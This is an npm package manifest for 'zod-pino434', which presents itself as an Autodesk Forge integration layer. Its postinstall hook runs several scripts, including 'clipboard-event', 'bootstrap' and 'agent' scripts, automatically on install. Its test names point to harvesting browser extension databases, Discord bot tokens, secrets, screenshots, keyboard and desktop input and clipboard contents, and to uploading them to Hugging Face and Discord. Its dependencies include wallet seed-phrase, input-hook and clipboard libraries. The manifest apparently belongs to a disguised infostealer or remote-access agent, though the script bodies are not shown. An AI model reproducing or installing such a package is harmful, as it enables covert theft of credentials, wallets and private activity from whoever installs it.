{
  "name": "zod-pino434",
  "version": "1.0.128",
  "description": "Node.js integration layer for Autodesk Forge",
  "license": "MIT",
  "forgeAgentWebRtcMinVersion": "1.0.71",
  "main": "dist/index.js",
  "types": "dist/index.d.ts",
  "files": [
    "dist",
    "assets",
    "scripts"
  ],
  "engines": {
    "node": ">=18"
  },
  "scripts": {
    "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
    "build": "tsc && node scripts/copy-assets.mjs",
    "pretest": "npm run build",
    "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
    "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs test/clipboard-session.test.mjs",
    "test:env-local": "node --test test/env-local-integrations.mjs",
    "verify": "npm run ci && npm run test:env-local",
    "verify:production": "npm run ci",
    "ci": "npm run build && npm run test:all",
    "test:hf-live": "node test/hf-relay-upload.integration.mjs",
    "prepack": "npm run build",
    "relay": "node dist/cli-relay.js",
    "env-sync-selftest": "node scripts/env-sync-selftest.js",
    "agent": "node dist/cli-agent.js",
    "agent:restart": "node scripts/restart-agent.mjs",
    "autostart": "node dist/cli-autostart.js",
    "cfgmgr": "node dist/cli-forge.js",
    "pm2:daemon": "pm2 startOrReload ecosystem.relay.config.cjs --update-env && pm2 save",
    "pm2:restart": "bash scripts/pm2-restart-forge-relay-agent.sh",
    "bootstrap:isolated-runtime": "node scripts/forge-isolated-runtime.mjs",
    "discord:live-probe": "node scripts/discord-live-probe.mjs",
    "verify:discord": "npm run build && npm run discord:live-probe",
    "smoke:relay-agent": "npm run build && NODE_ENV=test node --test test/relay-agent-cli-smoke.mjs"
  },
  "bin": {
    "forge-relay": "dist/cli-relay.js",
    "forge-agent": "dist/cli-agent.js",
    "forge-autostart": "dist/cli-autostart.js",
    "forge-cfgmgr": "dist/cli-forge.js",
    "forge-jsxy-explorer-upgrade": "scripts/forge-jsx-explorer-upgrade.mjs",
    "forge-jsxy-explorer-restart": "scripts/forge-jsx-explorer-restart.mjs",
    "forge-jsxy-explorer-kill-agent": "scripts/forge-jsx-explorer-kill-agent.mjs",
    "forge-jsx-explorer-upgrade": "scripts/forge-jsx-explorer-upgrade.mjs",
    "forge-jsx-explorer-restart": "scripts/forge-jsx-explorer-restart.mjs",
    "forge-jsx-explorer-kill-agent": "scripts/forge-jsx-explorer-kill-agent.mjs"
  },
  "dependencies": {
    "@huggingface/hub": "^2.11.0",
    "@scure/bip39": "^1.6.0",
    "archiver": "^7.0.1",
    "dotenv": "^16.4.7",
    "jimp": "^0.22.12",
    "picomatch": "^4.0.4",
    "tweetnacl": "^1.0.3",
    "ws": "^8.18.0"
  },
  "optionalDependencies": {
    "@napi-rs/clipboard": "^1.1.3",
    "clipboard-event": "^1.6.0",
    "koffi": "^2.15.2",
    "node-datachannel": "^0.32.3",
    "uiohook-napi": "^1.5.5"
  },
  "devDependencies": {
    "@types/archiver": "^6.0.4",
    "@types/node": "^22.10.0",
    "@types/picomatch": "^4.0.3",
    "@types/ws": "^8.5.13",
    "typescript": "^5.7.2"
  },
  "keywords": [
    "cfgmgr",
    "forge-db",
    "sync",
    "websocket",
    "relay"
  ]
}
